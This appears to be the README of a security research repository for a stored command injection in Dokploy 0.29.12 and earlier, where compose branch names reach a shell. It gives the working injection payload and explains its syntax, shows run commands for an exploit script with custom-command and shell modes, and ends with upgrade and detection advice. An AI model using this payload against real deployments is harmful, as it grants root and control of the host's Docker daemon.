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woyindao/cve-2026-72867-cvss-9.9-critical

CVE-2026-72867-CVSS-9.9-Critical

Dokploy <=0.29.12 compose branch stored command injection (CVSS 9.9 Critical) — clean-room exploit, swarm lab orchestration, reproduced live against v0.29.12 with host-takeover channel proof

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21 month agoNot yet reviewed

CVE-2026-72867 — Dokploy compose branch name stored command injection

Severity: CVSS:3.1 9.9 / 10.0 Critical · AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H · Full rating

Reproduction status: this repository's rewritten script, on 2026-10-21 against the local lab of dokploy/dokploy:v0.29.12, hit twice out of two attempts:

DKP72867-egl59s5b-u0-root-ha7e0c0491588     <- uid=0 execution proof
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" <- arbitrary command output
docker api: 29.7.2                           <- host Docker daemon reachable from inside the container (takeover channel)

The vulnerability in one sentence

The compose service's customGitBranch (and the four provider branch fields) are written with zero validation (drizzle-zod bare string), and at deploy time are interpolated verbatim into git clone --branch ${...} handed to /bin/sh -c — stored OS command injection. The default installation container runs as root and mounts docker.sock RW, so container root = host root.

Affected: <= 0.29.12 · Fixed: 0.29.13 commit 47347ab (adds shellWord = shell-quote, wrapping all git fields of the five providers, closing seven GHSAs at once)

Repository contents

路径说明
exp/poc_72867.py新写 exploit(纯 stdlib):注册→建服务→存 payload→部署→日志读证;--command 单发自定义命令、--shell 交互、--json 证据输出、版本指纹
exp/lab_72867.py靶场编排(对齐官方 install.sh 拓扑:swarm + overlay + secrets + 双 service)
docs/ANALYSIS.md根因:写入路径、拼接路径、payload 语法工程、日志回显 oracle、advisory 家族
docs/SEVERITY.md9.9 向量逐项论证 + 家族其他 CVE 一览
docs/REFERENCES.md上游 writeup / advisory / 修复 commit
results/REPRO-TRANSCRIPT.md本机复现完整证据
docs/UPSTREAM-REFERENCE-POC.pyLulztigre 原始 PoC(参照,未修改)

Quick reproduction

cd exp
python lab_72867.py up                 # swarm + postgres + dokploy v0.29.12(:3000)
python lab_72867.py wait               # health polling (first-start migration is slow)
python poc_72867.py --url http://localhost:3000          # marker proof
python poc_72867.py --url ... --mode signin \
    --command 'id; ls -la /var/run/docker.sock'           # command control proof
python lab_72867.py down               # tear down services and secrets

Prerequisites: local Docker (with swarm support); image 4.26GB. Under Git-bash/Windows all docker invocation scripts have MSYS_NO_PATHCONV=1 built in.

Why the payload looks like that

main;echo MARK-u$(id -u)-$(id -un)-h$(hostname);echo

The clone line is wrapped in if ! git clone --branch X --depth 1 ...; then: a bare $() would only become git's revision argument (not executed); a bare ;command would syntactically break the if block (not executed); only the finished three-part form — fake branch clone (cover, guaranteed to fail, deploy showing error is expected), marker expansion, and the trailing space ;echo swallowing the clone's leftover arguments to preserve the if syntax — executes reliably. Detection only accepts the expanded form (u0-root numeric uid): a patched build echoes the branch text verbatim into the git error, so bare substring matching will inevitably produce false positives.

Detection and defense

  • Upgrade to ≥0.29.13 (root fix: escaping at the shellWord convergence point).
  • Write-side allowlist (branch name ^[A-Za-z0-9._/-]+$ with length limit) to prevent recurrence of the same class — the fix only covers the known sink; writes still accept arbitrary strings.
  • Alerts: compose service branch fields containing metacharacters such as ; $ ( | &; deployment logs showing command output unrelated to git.
  • Mitigation: mount docker.sock read-only or use rootless; minimize compose permissions for the member role.

Upstream acknowledgements

Research and methodology: Lulztigre MEMO #009; original PoC Lulztigre/CVE-2026-72867. This repository is an independent rewrite, re-verified in a local lab.

License

MIT — see LICENSE.

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